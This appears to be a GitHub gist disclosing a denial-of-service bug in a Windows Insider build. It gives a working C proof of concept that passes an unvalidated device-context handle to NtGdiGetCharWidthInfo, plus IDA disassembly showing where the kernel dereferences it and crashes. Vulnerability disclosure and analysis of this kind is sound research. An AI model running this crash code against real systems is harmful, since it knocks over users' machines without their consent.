Skip to content

Instantly share code, notes, and snippets.

@NSG650
Last active February 8, 2023 10:21
Show Gist options
  • Save NSG650/9368d5b898be5fab2fbe39ffc2132d0a to your computer and use it in GitHub Desktop.
Save NSG650/9368d5b898be5fab2fbe39ffc2132d0a to your computer and use it in GitHub Desktop.
Denial of Service bug in Windows Insider build 25284.1000 NtGdiGetCharWidthInfo
// This works on Windows 11 Build 25290.1010 as well
#include <stdio.h>
#include <windows.h>
// Ripped out from ReactOS
typedef struct _CHWIDTHINFO // Based on FD_DEVICEMETRICS
{
LONG lMinA;
LONG lMinC;
LONG lMinD;
} CHWIDTHINFO, * PCHWIDTHINFO;
// ULONG as I was using tcc.
typedef ULONG(*NT_GDI_GET_CHAR_WIDTH_INFO)(HDC hdc, PCHWIDTHINFO widthInfo);
NT_GDI_GET_CHAR_WIDTH_INFO NtGdiGetCharWidthInfo;
int main(void) {
CHWIDTHINFO WidthInfo = {0};
NtGdiGetCharWidthInfo = NULL;
HDC hdc = 0xFFFF;
LoadLibraryA("user32.dll");
HMODULE HandleToWin32u = GetModuleHandleA("win32u.dll");
if (!HandleToWin32u) {
printf("[!] Failed to get handle to win32u.dll\n");
return -1;
}
NtGdiGetCharWidthInfo = GetProcAddress(HandleToWin32u, "NtGdiGetCharWidthInfo");
if (!NtGdiGetCharWidthInfo) {
printf("[!] Failed to find NtGdiGetCharWidthInfo\n");
return -1;
}
NtGdiGetCharWidthInfo(hdc, &WidthInfo);
printf("[!] Welp seems like they patched it\n");
return 0;
}
/*
The crash is caused due to the hdc value not being validated
These disassemblies are from IDA. Added some data type structs to make it easy for me to rev.
__int64 __fastcall NtGdiGetCharWidthInfo(struct HOBJ__ *hdc, _CHWIDTHINFO *a2)
{
__int64 v3; // rax
int v4; // r8d
int CharWidthInfo; // ebx
__int64 v7; // [rsp+20h] [rbp-68h] BYREF
int v8; // [rsp+28h] [rbp-60h]
__int64 v9[4]; // [rsp+30h] [rbp-58h] BYREF
char v10[48]; // [rsp+50h] [rbp-38h] BYREF
v7 = 0i64;
v8 = 0;
v3 = SGDGetSessionState(hdc);
EUDCCountRegion::EUDCCountRegion(
(EUDCCountRegion *)v10,
(struct Gre::Font::GLOBALS *)(*(_QWORD *)(v3 + 80) + 4864i64));
UAPIDCOBJ::UAPIDCOBJ((UAPIDCOBJ *)v9, hdc); // Here the hdc value from user which is not verified is being casted to an internal datatype.
if ( v9[0] )
CharWidthInfo = 0;
else
CharWidthInfo = GrepGetCharWidthInfo((struct UDCOBJ *)v9, &v7, v4); // The unvalidated hdc value is being passed on to the internal helper function.
if ( CharWidthInfo )
return sub_1C017511C();
UAPIDCOBJ::~UAPIDCOBJ((UAPIDCOBJ *)v9);
EUDCCountRegion::~EUDCCountRegion((EUDCCountRegion *)v10);
return 0i64;
}
__int64 __fastcall GrepGetCharWidthInfo(struct UDCOBJ *a1, _CHWIDTHINFO *a2, int a3)
{
__int64 hdc; // rax
unsigned int v4; // edi
__int64 v7; // rbx
__int64 v8; // rcx
__int64 v9; // rcx
__int64 v11; // [rsp+60h] [rbp+30h] BYREF
int v12; // [rsp+70h] [rbp+40h] BYREF
int v13; // [rsp+78h] [rbp+48h] BYREF
int v14; // [rsp+7Ch] [rbp+4Ch]
v12 = a3;
hdc = *(_QWORD *)a1;
v4 = 0;
v13 = 17;
v14 = *(unsigned __int16 *)(hdc + 12); // The unvalidated hdc pointer is dereferenced causing the crash.
v11 = 0i64;
if ( RFONTOBJ::bInit((RFONTOBJ *)&v11, a1, 0, 2u, (const struct RFONTOBJ::Tag *)&v13) )
GreAcquireSemaphore<14,RFONT *>(v11);
v7 = v11;
if ( v11 && *(_QWORD *)(*(_QWORD *)(v11 + 96) + 3064i64) )
{
if ( (*(_DWORD *)(*(_QWORD *)(*(_QWORD *)a1 + 976i64) + 340i64) & 0x802) == 2050 )
{
a2->lMinA = *(_DWORD *)(v11 + 696);
a2->lMinC = *(_DWORD *)(v7 + 700);
a2->lMinD = *(_DWORD *)(v7 + 704);
}
else
{
v12 = 0;
bFToL(2050i64, &v12, 0i64);
a2->lMinA = v12;
v12 = 0;
bFToL(v8, &v12, 0i64);
a2->lMinC = v12;
v12 = 0;
bFToL(v9, &v12, 0i64);
a2->lMinD = v12;
}
v4 = 1;
}
RFONTOBJ::~RFONTOBJ((RFONTOBJ *)&v11);
return v4;
}
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment